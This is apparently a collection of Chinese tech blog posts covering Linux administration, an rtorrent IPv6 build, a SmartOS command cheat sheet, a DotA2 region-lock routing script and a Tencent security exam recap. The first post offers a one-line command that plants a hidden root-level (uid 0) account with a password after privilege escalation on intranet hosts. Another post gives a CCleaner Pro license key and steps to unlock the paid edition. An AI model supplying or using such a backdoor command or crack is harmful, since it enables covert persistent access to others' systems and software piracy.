linux一条命令添加一个root级别账户并设置密码

内网机器提权添加账户,无回显,设置密码就不好弄,下面就是添加一个root级别的账户并设置密码的命令

 useradd -p `openssl passwd -1 -salt ‘lsof’ admin` -u 0 -o -g root -G root -s /bin/bash -d /home/lsof lsof

命令解释

useradd 添加用户
-p `openssl passwd -1 -salt ‘lsof’ admin` 这个里面的指的是设置用户的密码,里面的lsof差不多是密钥之类的,可以随便写, admin是明文密码
-u 0 -o 添加一个uid为 0的用户 就相对于root级别的了
-g root -G root 将用户添加到root组
-s /bin/bash 指定新建用户的shell路径
-d /home/lsof 新建用户的主目录,可以自己定义
lsof 新建的用户的用户名

CCleaner 免费版变专业版

其实,大家从官网下载的CCleaner 免费版安装包里就包含专业版,只不过没释放出来而已。

我来教大家如何从免费版安装包里释放出专业版:

①下载安装CCleaner 免费版安装程序,

②断开网络后再安装,如果有防火墙拦截CCleaner.exe联网亦可。
注意此步是成败关键,一定要断绝其联网(如果不断网,虽然注册了,但是却不能释放出专业版支持文件:branding.dll,也就变不成专业版)。

③运行CCleaner,输入注册信息:
Name:Registered User
License Key:CBB4-FJN4-EPC6-G5P6-QT4C
完成注册,同时在程序目录下释放出专业版支持文件:branding.dll

④OK了,这时可以联网了,只要branding.dll释放出来了,CCleaner程序再联网是无任何妨碍的。

===========

以上是自动释放,咱们也可以手工强行释放出专业版支持文件-branding.dll(这样就不用断网了),方法是:
CCleaner安装后,去主程序目录,用工具(我使用的是Restorator 2007)打开 CCleaner.exe,在资源树列表中“BRANDING”下找到296,将296导出为296.dcr或者296.raw,这就是专业版的 branding.dll,将这296.dcr或者296.raw重命名为branding.dll即可。然后还是打开程序,会出现注册界面,在断网情况下,输入上面的名字和注册码,即可成功。

第一种方法很多人不成功,要看运气。但是第二种方法基本上100%成功,可以尝试一下。

顺便一说~CCleaner的免费版和专业版区别不大,多了多用户管理还有浏览器监控,就是说每次浏览器退出可以帮你自动删除缓存。

Macbook Pro 升级Win8.1预览版后无声音

前段时间Win8.1的预览版终于出了,于是第一时间安装。结果安装完之后发现没有任何声音了。。。

于是重装驱动,没用。更新驱动,没用。。。重装BootCamp,还是没用。。。

最后,在网上看到一篇帖子,说把下图中的Disable all enhancements勾选上就可以解决这个问题。抱着试试看的心态试了一下,果然好了!

Win8-无声

 

顺便一说,如果你的耳机和扬声器都无声,那需要把耳机和扬声器的这两个选项都勾上才可以~

再顺便一说,外置声卡貌似完全没有影响,我的硕美科的USB耳机使用完全正常。

编译安装rtorrent并添加IPv6支持

本文章安裝方式參考下面這篇文章,
http://filesharefreak.com/2010/02/13/how-to-install-rtorrent-rutorrent-using-socket-ssl-authentication-on-ubuntu-or-debian/
其實只能算是該篇文章的部份中譯, 並補上 IPv6 的支援,
IPv6 部份參考
http://libtorrent.rakshasa.no/ticket/1111
http://ihipop.info/2010/08/1363.html
(1) 先連上 SSH 並以 root 的身份開始進行安裝
su root
(2) 更新 apt 資料庫
apt-get update
(3) 安裝相依套件
apt-get install -y build-essential pkg-config libcurl4-openssl-dev libsigc++-2.0-dev libncurses5-dev lighttpd screen subversion libterm-readline-gnu-perl php5-cgi apache2-utils php5-curl curl php5-cli
(3) 安裝 libtorrent
cd ~
wget http://libtorrent.rakshasa.no/downloads/libtorrent-0.12.6.tar.gz
tar zxfv libtorrent-0.12.6.tar.gz
cd libtorrent-0.12.6
wget http://home.samfundet.no/~sesse/libtorrent-0.12.6-ipv6-07.patch
patch -p1 < libtorrent-0.12.6-ipv6-07.patch ======================== 修改 libtorrent 程式碼 libtorrent-0.12.6/rak/string_manip.h 第186行:由 return 'A' + v - 0xA; 改為 return 'a' + v - 0xA; ======================== ./configure --enable-ipv6 make make install (4) 安裝 XMLRPC-C cd ~ svn checkout http://xmlrpc-c.svn.sourceforge.net/svnroot/xmlrpc-c/stable xmlrpc-c cd xmlrpc-c/ ./configure make make install (5) 安裝 rTorrent: cd ~ wget http://libtorrent.rakshasa.no/downloads/rtorrent-0.8.6.tar.gz tar zxfv rtorrent-0.8.6.tar.gz cd rtorrent-0.8.6 wget http://home.samfundet.no/~sesse/rtorrent-0.8.6-ipv6-07.patch patch -p1 < rtorrent-0.8.6-ipv6-07.patch ./configure --with-xmlrpc-c --enable-ipv6 make make install (6) 接下來為了讓 rtorrent 能夠開機就自動執行,需要作下面的動作 vim /etc/init.d/rtorrent.sh 將下面的文字寫到 /etc/init.d/rtorrent.sh 將 snowwolf725 改成你自己的使用者 ID =========================== #!/bin/sh case "$1" in start) echo -n "Starting rtorrent" su - snowwolf725 -c "screen -A -m -d -S rtorrent /usr/local/bin/rtorrent" & echo "." ;; stop) echo -n "Stopping rtorrent" ppid=`ps ax | grep "/usr/local/bin/rtorrent" | grep -v grep | grep -v screen | awk '{ print $1 }'` kill ${ppid} rm /tmp/rpc.socket echo "." ;; restart) echo -n "Restarting rtorrent" ppid=`ps ax | grep "/usr/local/bin/rtorrent" | grep -v grep | grep -v screen | awk '{ print $1 }'` kill ${ppid} rm /tmp/rpc.socket sleep 1 su - snowwolf725 -c "screen -A -m -d -S rtorrent /usr/local/bin/rtorrent" & echo "." ;; *) echo "Usage: {start|stop|restart}" >&2
exit 1
;;
esac
exit 0

==============================
讓該檔案變成可以執行
chmod +x /etc/init.d/rtorrent.sh
(7)換成一般使用者的身份, 這裡的 snowwolf725 要換成你自己的使用者名稱, 要先更新函式庫 cache
ldconfig
su snowwolf725
cd ~
(8) 設定 rTorrent
vim .rtorrent.rc

依照下面的設定檔改成自己可以用的設定檔#開頭的那幾行是註解可以不用打, vim 有分編輯模式和命令模式,一開始進入是命令模式,按 i 或是 a 可以進入編輯模式打字,按 ESC 可以離開編輯模式回到命令模式,輸入 [:w](不包涵中括號,即冒號和w) 然後按下 Enter 可以寫入檔案,[:q!] 按下Enter 可以離開畫面, 其實檔案可以先打好命名成 .rtorrent.rc 利用 PPutty (不是putty)上傳到主機就可以了(上傳方法是開啟 pputty 並登入然後將檔案拖曳到 pputty,會詢問你帳號密碼傳完預設在家目錄下面)
主要需要修改的是
各個 rtorrent 的目錄
===================================
# 最大最小連接數
min_peers = 50
max_peers = 100

# 最大最小連接數(對於已經完成下載的種子)
min_peers_seed = 10
max_peers_seed = 100

# 最大同時上傳的連接數
max_uploads = 50
# 檔案名稱編碼
encoding_list = UTF-8
# 上下傳 ratio (0表示不限)
download_rate = 0
upload_rate = 0

# 存放下載檔案的路徑
directory = /home/snowwolf725/data
# rtorrent 的工作目錄
session = /home/snowwolf725/session

# 每五分鐘查看特定目錄並下載新的種子
schedule = watch_directory,5,5,load_start=/home/snowwolf725/watch/*.torrent

# Server 的 IP 和 Domain name (IPv6 不能綁 IPv4 的 address)
# ip = 1.2.3.4
# ip = ks00000.kimsufi.com
# bind = 1.2.3.4
# rtoreent 所使用的 port
port_range = 49152-65535
# 是否使用 udp 的 Tracker
use_udp_trackers = yes
# 連線加密(允許加密連線連入,但預設使用未加密連線)
encryption = allow_incoming,enable_retry,prefer_plaintext
# 依照種子設定決定是否開啟 DHT
dht = auto

# DHT 的 port
dht_port = 19000

# 是否開啟 peer exchange 功能(開啟)
peer_exchange = yes
umask = 0000
on_erase = rm_complete,”execute=rm,-rf,$d.get_base_path=”
schedule = low_diskspace,5,5,close_low_diskspace=100M

# 不作 hash 檢查檔案完整性
check_hash = no

==============================
(9) 測試 rtorrent
執行 rtorrent
這樣就完成了, 按 Ctrl+q 可以離開 rtorrent

 

PS,Ubuntu经过这种方式安装启动rtorrent可能会报错说找不到libtorrent这个库。此时将/usr/local/bin/rtorrent复制到/usr/bin/下,将/usr/local/lib/libtorrent.so.11和/usr/local/lib/libtorrent.so.11.0.6复制到/usr/lib/下再启动rtorrent即可。

mysqld Errcode:13 解决方法

当看到错误日志里面如下记录:

mysqld started

[Warning] Can’t create test file xxx.lower-test
[Warning] Can’t create test file xxx.lower-test
/usr/libexec/mysqld: Can’t change dir to ‘/xxx’ (Errcode: 13)

[ERROR] Aborting

首先检查数据目录和日志目录的权限和所属用户,如果权限和所属用户都没问题,那应该是SELINUX的权限限制了。

先查看当前配置信息.

# getenforce

Enforcing

就表明SELinux已经启用.只需要关闭即可。

关闭方法:

#setenforce 0 (0|1 开|关)

对你的数据目录和日志目录执行如下命令:

#chcon -R -t mysqld_db_t /xxx

一切问题迎刃而解

SmartOS 与 Linux 不同点总结

在SmartOS用户中最常见的问题之一就是,既然说SmartOS和Linux类似,那除了那些看不见的技术细节,在使用时到底有什么不同呢?如果已经熟练操作Linux,那SmartOS能快速上手么?答案是当然能,其实常用的不同之处并不多。这篇文章将回答Linux与SmartOS在操作上的不同之处。

原文链接:http://wiki.joyent.com/wiki/display/jpc2/The+Joyent+Linux-to-SmartOS+Cheat+Sheet
原文标题:The Joyent Linux-to-SmartOS Cheat Sheet

SmartMachine和其他类Unix系统不同之处主要在于两类:

  • 命令类似,但在SmartOS中用不同的名字
  • 完成类似的任务,但在SmartOS中有不同的实现过程

这里列出一个命令列表,用来帮助Linux用户找到在SmartOS中与Linux对等的命令。

  • Linux 和 SmartOS 命令对比列表
  • 不同使用语境(Use Context)的例子
    • 检查进程和内存
    • 启动和停止服务

Linux and SmartOS 命令对比列表

任务 / 操作系统 Linux SmartOS
表中某些键值的含义
(rh) = Red Hat, Mandrake, SUSE,…
(deb) = Debian, Libranet,…
(fed) = Fedora
(gen) = Gentoo
(md) = Mandrake/Mandriva
(SUSE) = SUSE
Joyent SmartOS

开源版本可参见链接 http://smartos.org

管理用户
managing users
useradd
usermod
userdel
adduser
chage
getent
useradd
userdel
usermod
getent
logins
/usr/sadm/bin/smuser
groupadd
列举硬件配置信息
list hardware configuration
arch
uname
dmesg (if you’re lucky)
cat /var/log/dmesg
/proc/*
lshw
dmidecode
lspci
lspnp
lsscsi
lsusb
lsmod
(SUSE) hwinfo
/sys/devices/*
prtconf -v
arch -k
psrinfo -v
isainfo -v
dmesg
iostat -En
prtfru
cfgadm -l
/etc/path_to_inst
read a disk label fdisk -l prtvtoc
label a disk cfdisk
fdisk
e2label
format
prtvtoc
磁盘分区
partition a disk
parted (if you have it)
cfdisk
fdisk
pdisk (on a Mac)
(deb) mac-fdisk (on a Mac)_
(md) _diskdrake
format
fmthard
kernel /boot/vmlinuz*
/boot/bootlx
(see /etc/lilo.conf or /boot/grub/menu.lst)
/kernel/genunix
/platform/`uname -m`/
kernel/unix
show/set kernel parameters /proc/*
/proc/sys/*
sysctl
/etc/sysctl.conf
sysdef
getconf
cat /etc/system
ndd
adb -k
loaded kernel modules lsmod modinfo
load module modprobe
insmod
modload
unload module rmmod
modprobe -r
modunload
启动脚本
startup scripts
/etc/rc* (but may vary)
/etc/init.d/
/etc/rc*
/etc/init.d/
svcadm
svcs
启动/停止/配置 服务
start/ stop/ config services
(rh) _service
(rh) _chkconfig
(deb) _sysv-rc-conf
svcs
svcadm
终止或关机
shutdown (& power off if possible)
shutdown -Ph now
shutdown -y -g0 -i0
halt
poweroff
shutdown -y -g0 -i5
run levels
*=normal states 
更多细节可参见
www.phildev.net/runlevels.html
(set in /etc/inittab)
0: halt
s,S,1: vendor-dependent
1: single-user
2-5*: multiuser
6: reboot
0: firmware monitor
s,S: single-user
1: sys admin
2: multiuser
3*: share NFS
4*: user-defined
5: power-down if possible
6: reboot
show runlevel  /sbin/runlevel who -r
时区信息
time zone info
/usr/share/zoneinfo/
/etc/localtime
/usr/share/lib/zoneinfo/
检查交换空间
check swap space
swapon -s
cat /proc/meminfo
cat /proc/swaps
free
swap -s
swap -l
bind process to CPU taskset (sched-utils) pbind
“正常”的文件系统
“normal” filesystem
ext2
ext3
ReiserFS
zfs (OpenSolaris)
文件系统描述
file system description
/etc/fstab /etc/vfstab
创建文件系统
create filesystem
mke2fs
mkreiserfs
mkdosfs
mkfs
zfs
文件系统调试和恢复
file system debugging and recovery
fsck
debugfs
e2undel
fsck
fsdb
clri
create non-0-length empty file dd if=/dev/zero of=filename
bs=1024k count=desired
mkfile
创建/挂载 ISO 镜像
create/mount ISO image
mkisofs
mount -o loop pathToIso
mountPoint
mkisofs;DEVICE=`lofiadm -a /absolute_pathname/image.iso` ; mount -F hsfs -o ro
$DEVICE
ACL management getfacl
setfacl
getfacl
setfacl
NFS share definitions /etc/exports /etc/dfs/dfstab
dfshares
NFS share command /etc/init.d/nfs-server reload_(rh)__ _exportfs -a share
shareall
NFS information cat /proc/mounts showmount
nfsstat
name resolution order /etc/nsswitch.conf
/etc/resolv.conf
/etc/nsswitch.conf
getent
显示网络接口信息
show network interface info
ifconfig
ethtool
dladm
ndd
ifconfig -a
netstat -in
dladm
修改IP
change IP
Joyent 公共云IP地址在云管理平台中设置 Joyent 公共云IP地址在云管理平台中设置
ping one packet ping -c 1 hostname ping hostname  packetsize 1
监听网络
sniff network
etherfind
tcpdump
wireshark (formerly _ethereal)
etherape
snoop
route definitions route
(rh) /etc/sysconfig/network
(rh) /etc/sysconfig/static-routes
(deb) /etc/init.d/network
(deb) /etc/network
/etc/defaultrouter
/etc/notrouter
/etc/gateways
in.routed
netstat -r
route add
telnetd, ftpd banner /etc/issue.net (telnet)
(ftp varies; can use tcp wrappers)
/etc/default/telnetd
/etc/default/ftpd
设置日期/时间
set date/time

(from net: ntp or other)
ntpdate
rdate
netdate
ntpdate
rdate
auditing auditd
/var/log/faillog
audit
auditd
auditreduce
praudit
加密后的密码在
encrypted passwords in
/etc/shadow (may vary) /etc/shadow
最小密码长度
min password length
/etc/pam.d/system-auth /etc/default/passwd
允许/禁止 root 登录
allow/deny root logins
/etc/securetty /etc/default/login
防火墙配置
firewall config
iptables
ipchains
ipfwadm
(rh) redhat-config-
securitylevel
/etc/ipf/ipf.conf
显示已安装的软件
show installed software
(rh) _rpm -a -i
(rh) _rpm -qa
(rh) yum list installed
(deb) dselect
(deb) aptitude
(deb) dpkg -l
(gen) _ls /var/db/pkg/*
(gen) _eix -I
pkgin list
安装/添加软件
add software
(rh) _rpm -hiv
(rh) yum install pkg
(deb) dselect
(deb) _apt-get install _pkg
(deb) dpkg -i
pkgin install
预编译的二进制版本
(GPLware and freeware)
www.linux.org
linux.tucows.com
sourceforge.net
rpmfind.net
(deb) ftp.debian.org
(deb) packages.debian.org
(gen) packages.gentoo.org
(gen) gentoo-portage.com;
(md) easyurpmi.zarb.org
pkgsrc.joyent.com/sdc6/
www.sunfreeware.com
www.blastwave.org
C 编译器
C compiler
cc
gcc
/opt/SUNWspro/
bin/cc
configure/show  runtime linking ldconfig
ldd
lsmod
crle
ldd
pldd
modinfo
LD_PRELOAD
链接库路径
link library path
$LD_LIBRARY_PATH
/etc/ld.so.conf
$LD_LIBRARY_PATH
跟踪工具
tracing utility
strace
ltrace
truss
sotruss
dtrace
定义用户默认配置
define user defaults
/etc/profile
/etc/security/
/etc/skel/
/etc/profile.d/*
/etc/default/login
/etc/profile
/etc/security/
csh global .login /etc/csh.login /etc/.login
默认的 syslog 和 信息
default syslog and messages
/var/log/syslog
/var/log/messages
/usr/adm/messages
/var/log/maillog
/var/adm/messages
/var/log/syslog
softpanorama.org/Logs/solaris_logs.shtml
system error reporting tool dmesg_(deb)_ reportbug prtdiag
性能监测
performance monitoring
vmstat
procinfo -D
top
htop
pstree
prstat
ostat
kstat
mpstat
netstat
nfsstat
trapstat
vmstat
ptree
match process to file or port lsof
netstat -atup
fuser
pfiles
维基百科
Wikipedia
Linux Illumos

 

 

 

不同使用语境(Use Context)的例子

比如,一些常见的Linxu命令的工作过程有些不同。, here are some common Linux commands that work differently.

命令 在SmartMachine上有何不同
df 在大多数SmartOS镜像,它是使用的 GNU 版本。可以用 /usr/bin/df 来运行 native 版本
lsof SmartMachine 使用不同的命令集来检查进程,下面会谈及。
ping 返回host主机是否有响应,使用 ping -s 返回持续的响应
top top 在 /opt/local/bin 里面,但 prstat -Z 提供比 top 有关资源池更多且更准确的信息

Rosetta Stone for Unix 是一个有用的资源,可以帮你看看你经常使用的UNIX版本和其他的UNIX版本(包括Mac)有何不同,并如何对应。

检查进程和内存


在旧的SmartOS镜像中,这些命令提供了端口和相关资源的信息,使用root或sudo可运行它们。
新的镜像使用的是 SmartMachine 工具包(Tools Package)

命令 描述 例子
pcp 显示被进程使用的端口们,或者进程们使用哪个端口 /root/bin/pcp -p 80 显示所有使用80端口的进程
/root/bin/pcp -P 28068 显示进程28068使用的所有端口
/root/bin/pcp -a 显示所有端口的端口及进程信息
jinf 显示你的SmartMachine正如何使用它的资源 /root/bin/jinf -c 显示CPU的使用信息
/root/bin/jinf -m 显示内存使用信息
/root/bin/jinf -s 显示交换空间使用信息

SmartOS 提供了一个工具套件来检查进程,可以在 proc 的 man page 中学习到更多内容。

工具 描述
prstat 这个工具显示活动的进程列表,类似Linux中的 top 命令
prstat -Z 将为提供你的SmartMachine状态的摘要信息
pgrep 根据指定的条件或模式返回进程的进程ID(PID)列表,一般是用来判断程序是否正在运行。
pkill 根据指定的条件或模式中止进程
pfiles 返回属于某个进程的所有打开文件列表
pstack 显示指定进程所有的线程的调用栈
ptree 显示所有进程或指定进程的进程树
ls /proc 列举所有正在运行的进程ID

你可以将 pgrep 的结果和其他 proc 工具合并显示。比如,显示与 http 进程相关的所有文件,可以使用如下命令来替代 lsof:

$ sudo pfiles $(pgrep http)

若要限制 prstat 显示 http 进程,可以使用命令:

$ prstat $(pgrep -d , http)
注意:如果 prstat 显示改变了你的终端设置,可以使用 reset 命令返回到正常状态

对于 vmstatmpstat 和 psrinfo 命令,主要显示物理机中处理器和内存的统计信息。这些输出一般来说对于SmartMachine的管理员才有用。

 

启动和停止服务

在其他系统中,你也许习惯使用命令在 /etc/init.d 来启动或停止服务。
SmartMachines 使用 Service Management Facility 来做到这些。

命令 svcs 和 svcadm 是你经常会使用到的。有些命令把 service identifier 叫做FMRI(Fault Management Resource Identifier)。
你可以使用 svcs 命令列举一个服务所有的 identifier 。

命令 描述
svcs 列举所有已启用的服务
svcs -a 列举所有服务,即使有些已经被禁止或offline
svcadm enable apache 使用apache FMRI 启用所有进程
svcadm disable apache 使用apache FMRI 禁止所有进程
svcadm restart apache 使用apache FMRI 重启所有进程

比如,如果你想更改 /etc/ssh/sshd_config 后重启SSH,可以这样做:

$ sudo svcadm restart ssh

Linux设置只能特定用户su到root

对于服务器来说,安全永远都是放在首位的,今天记录下只允许特定用户ssh到服务器,这样子可以防止某些人对你的服务器扫密码.禁止rootssh登录,只能让这个普通用户su到root,下面看操作
系统centos5

新建用户test,并设置密码
[root@vmunix ~]# useradd test
[root@vmunix ~]# passwd test
加入wheel组
[root@vmunix ~]# usermod -G wheel test
编辑pam的su设置
[root@vmunix ~]#vi /etc/pam.d/su

去掉auth required pam_wheel.so use_uid 的#注释
在密码策略里进行设置,追加参数到文件末尾

[root@vmunix ~]# echo “SU_WHEEL_ONLY yes” >> /etc/login.defs
禁止root登录
[root@vmunix ~]#vi /etc/ssh/sshd_config
PermitRootLogin no (把后面的yes改为no)

重启sshd服务
[root@vmunix ~]#services sshd restart
退出root,可以验证下,使用root登录失败,使用test登录su到root,OK!

————————–
另外一种方法看着很方便,但是wesley还没有试验,可以借鉴下
只能允许单个用户登录
编辑/etc/ssh/sshd_config
AllowUsers sshuser1 sshuser2
只能允许某个组登录
AllowGroups sshgroup

DotA2限区直连教程

目前,由于V社的中国战略,所有发放的邀请函都变成了限区码,不可以在中国大陆地区激活和使用。如果在中国大陆地区想要启动DotA2的话会得到这样的错误:

DotA2-1

这时候我们必须要挂VPN再连接Steam才能进入游戏。但是如果使用了VPN,则会导致在游戏中延迟非常高,丢包率同样很高,甚至会断线,导致完全无法游戏。

不过经过分析,我们可以发现Steam只有在启动DotA2的时候才会去验证所在地区,而且是通过Steam客户端验证的。在验证通过之后,DotA2的客户端并不会再次验证地区而是可以直接连接服务器。于是我们就可以用这样的办法来只让Steam走VPN而DotA2则直接连接服务器。这样的好处不仅是延迟低丢包低,还不用担心VPN断线导致游戏断开连接。

首先,我们需要设置一下VPN连接。大部分现成的VPN客户端都有一个“发送所有流量”类似的选项,如果把这个选项去掉的话就可以让VPN只是连接上但是并不更改路由表从而更改流量的指向。如果没有客户端而是手动创建的VPN连接的话,则要进行如下设置:

1.右击VPN连接选择属性

DotA2-2

2.切换到“网络”选项卡

DotA2-3

3.双击Internet协议版本4,打开设置选项卡

DotA2-4

4.选择高级,打开高级选项卡,将“在远程网络上使用默认网关”的勾去掉

DotA2-5

保存退出。这时我们连接一下VPN来看看效果。连接之后访问一下www.ip.cn发现我们的IP还是自己的IP则设置成功。

接下来把下面这一段代码保存为.bat脚本

@echo off
for /F "tokens=4" %%* in ('route -p print ^| findstr "\<255.255.255.255\>"') do (set routeadd=%%*)
echo %routeadd%
@echo 清理路由表,避免在多网卡上添加发生错误
pause
route delete 68.142.91.0
route delete 68.142.116.0
route delete 69.28.145.0
route delete 72.165.61.0
route delete 81.171.115.0
route delete 103.28.54.0
route delete 146.66.152.0
route delete 205.185.220.0
route delete 208.64.200.0
route delete 208.111.133.0
route delete 208.111.171.0
route delete 209.197.6.0
route delete 209.197.20.0
route delete 209.197.30.0
route delete 209.197.26.0
route delete 209.197.29.0

@echo 请确认您已连接上VPN!
pause

route add 68.142.91.0 mask 255.255.255.0 %routeadd%
route add 68.142.116.0 mask 255.255.255.0 %routeadd%
route add 69.28.145.0 mask 255.255.255.0 %routeadd%
route add 72.165.61.0 mask 255.255.255.0 %routeadd%
route add 81.171.115.0 mask 255.255.255.0 %routeadd%
route add 146.66.152.0 mask 255.255.255.0 %routeadd%
route add 205.185.220.0 mask 255.255.255.0 %routeadd%
route add 208.64.200.0 mask 255.255.255.0 %routeadd%
route add 208.111.133.0 mask 255.255.255.0 %routeadd%
route add 208.111.171.0 mask 255.255.255.0 %routeadd%
route add 209.197.6.0 mask 255.255.255.0 %routeadd%
route add 209.197.20.0 mask 255.255.255.0 %routeadd%
route add 209.197.30.0 mask 255.255.255.0 %routeadd%
route add 209.197.26.0 mask 255.255.255.0 %routeadd%
route add 209.197.29.0 mask 255.255.255.0 %routeadd%

或者直接下载:

http://pan.baidu.com/share/link?shareid=458196&uk=1023678707

这是同一个文件。

此时确保你已经连上了VPN,然后以管理员模式运行这个脚本:

DotA2-6

此时左上角应该能正常的显示出你VPN连接的IP地址。确认正确之后按任意键继续:

DotA2-7

此时会先删除原来残留的限区直连路由表。如果本次开机之后没有运行过脚本的话应该会提示删除失败。这是正常情况。

然后再按任意键继续:

会看到添加成功的提示。此时我们再打开Steam

就可以正常的启动DotA2了。

DotA2-8

DotA2-9

 

腾讯2013实习生招聘笔试分析

安全技术方向S2卷

卷子开头有保密协议~不过我们就无视之算了~~~反正我也没进= =|||

一、不定项选择题 20×3=60分

注意是不定项哦~~~多选、少选均不得分。不过还是单选比较多,多选很少的。

因为题目太多了所以挑几道我觉得比较难的放出来吧。

2.SSL协议工作在哪一层。

SSL协议位于TCP/IP协议与各种应用层协议之间

3.能实现安全telnet操作的方法是

SSL rlogin kerberos化 SSH //个人觉得是SSL和SSH

7.阅读程序

#include

int main()
{
    char *a[]={"tencent","security",NULL};
    char *p1,*p2;
    int i = 0;
    while ( a[i]!=NULL && a[i+1]!=NULL )
    {
        p1=a[i];
        p2=a[i+1];
        int j = 0;
        for (;p1[j]!='\0' && p2[j]!='\0';++j)
            if (*(p1+j)==*(p2+j))
                printf("%c",*(p1+j));
        ++i;
    }
}

10.WIndows中,以Administrator登录系统,创建一个新用户common,属于Users组。然后在C盘根目录新建文件夹test,给予common读取和执行权限;然后在test下新建subtest文件夹,给予common写权限。此时,以common登录,对c:\test\subtest有何权限?

读,写,执行

11.x86 CPU在20000H有一数据,给定段地址为SA,若使用偏移地址寻址,则SA应满足

1000H~2000H 1001H~1FFFH 1000H~1FFFH 1001H~2000H //这题完全不知道

12.考了umask,记得跟chmod反的就好。

14.考了DNS递归查询的知识。客户端跟服务器、服务器跟服务器哪种是递归查询?

15.使用正则表达式匹配只有四个字符的行

“^????$”

17.某Linux系统怀疑被人恶意尝试密码,应该查看哪个日志?

/var/log/ message secure wtmp boot.msg

19.main.c引用liba.so,libb.a,现在要定义一个全局变量int flag,并在main函数引用,应该在哪个文件定义?

main.c

20.Telnet的主要缺陷

不要用户名密码 认证手段单一 明文传输 不能阻止病毒

二、填空题 7题10空x4=40分

1.Linux服务器,内网网卡为eth1,外网网卡为eth0。若要禁止所有从外网访问3306端口的请求,应该执行     1    

2.请解释Http Only能避免XSS攻击的原理    2    

3.不使用eval函数,写一个php一句话木马    3    

4.什么是CSRF漏洞    4    ,列举两个以上CSRF漏洞的危害    5

5.Web站点中存在让用户上传文件的功能,该功能可能会有    6    风险,若要避免该风险,请列举至少2种安全加固方法    7    。

6.LDAP服务的优点有哪些,列举至少2种    8    。

7.fuzz工具的原理是    9    ,其主要用途是    10    。

三、附加题 2×20=40分(任选一题,不计入总分,留作考官参考)

1.下面一个程序在调试时,*那一行会发生core dump,通过gdb调试发现异常时lTotalCounter > lTotalCharCount,请分析原因。

uint32_t Char2Uint(char c){
    uint32_t ret=0;  //此处不是我打错了而是试卷的印刷错误
    int iAscii = (int)c;
    if (iAscii >= 0 && iAscii < 128>)
        uRet = iAscii;
    else
        uRet = -iAscii + 128;
    return uRet;
}

void EntropyCalc(const char* pFileContents){
    long lTotalCharCount = strlen(pFileContents);
    long lBlankCount = 0;
    long lTotalCounter = 0;
    long lAscii[256] = {0};
    uint32_t uiIndex = 0;
    while (lTotalCounter < lTotalCharCount>)
    {
        if (pFileContents[lTotalCounter] == ' ')
        {
            lBlankCount++;
        } else
        {
            uiIndex = Char2Uint(pFileContents[lTotalCounter]);
            lAscii[uiIndex]++;
        }
        lTotalCounter++;
    }
}

 

2.某内网环境有严格的网络访问控制,只能用域名访问指定的几个Web服务,不可以用IP直接访问。现在想突破内网环境向外网发送一个文件,请列举可能的方法。

腾讯2013实习生招聘之行感悟

最近参加了腾讯在武汉的实习生招聘,应聘安全技术方向,不过遗憾被刷了,在这说说感想吧~

首先是笔试。本次腾讯的笔试给所有参加人员编了号,分了考场,比较正式。据我同学说,霸笔的全部推迟了半小时左右才让进的考场。其实这点还不错,至少能维持一下考场的秩序。不过用作考场的华科的教室太小了。。。一个小教室要做70多人,非常挤。至于试卷,测试看着吓人,实际上不多。刚发卷的时候我们都被吓到了,好长的一张考卷!5张A4纸连在一起啊!不过等到卷子发现来才发现3/5是试卷,另外2/5是答题卡,题目数量也没有想象中的那么多,选择题20道,填空题7道10空,附加题两道。我笔试的安全技术方向,感觉题目不是很难,2个小时的时间完全够了。特别是附加题,自由发挥的空间比较大,对于经验比较少的同学来说可能有点吃亏。顺便一说,卷子上的印刷错误蛮多。。。。。。。。。

然后是一面。一面的时候有很多霸面的同学,不过好像都安排在通过笔试的同学之后。不过还是有相当多的人来一面的,签到厅的场面十分壮观!我的一面的时候是一个微胖的长着微卷头发的很萌的面试官面的,从谈话中可以感觉到他的技术水平很高。这位面试官主要是根据之前的笔试题目进行的面试,基本上对笔试题目都进行了深入的提问,问到的很多细节问题我都没能答上来。。。后来跟我同学对比了一下发现附加题貌似会决定我们面试官的方向,所以大家以后在做的时候一定要注意选择自己擅长的方向。不然到时候面试官问你细节问题的时候一点都打不上来就悲剧了。( ⊙ o ⊙ )

最后是二面了。二面的时候面我的面试官看起来就是一个头头,气场跟一面的面试官完全不同。不过可能因为这个面试官不是技术方向的,所以问我的问题都基本不沾技术。而且每当我把问题说到技术方向的时候他都会回避然后换一个话题。而且我觉得因为这个面试官的气场比较强,我自己的压力蛮大,面完了出来一身汗= =|||

以上就是我本次腾讯实习生面试的经历了。稍后会放出笔试试卷,希望能帮助同样想进腾讯的同学们吧~祝你们求职成功~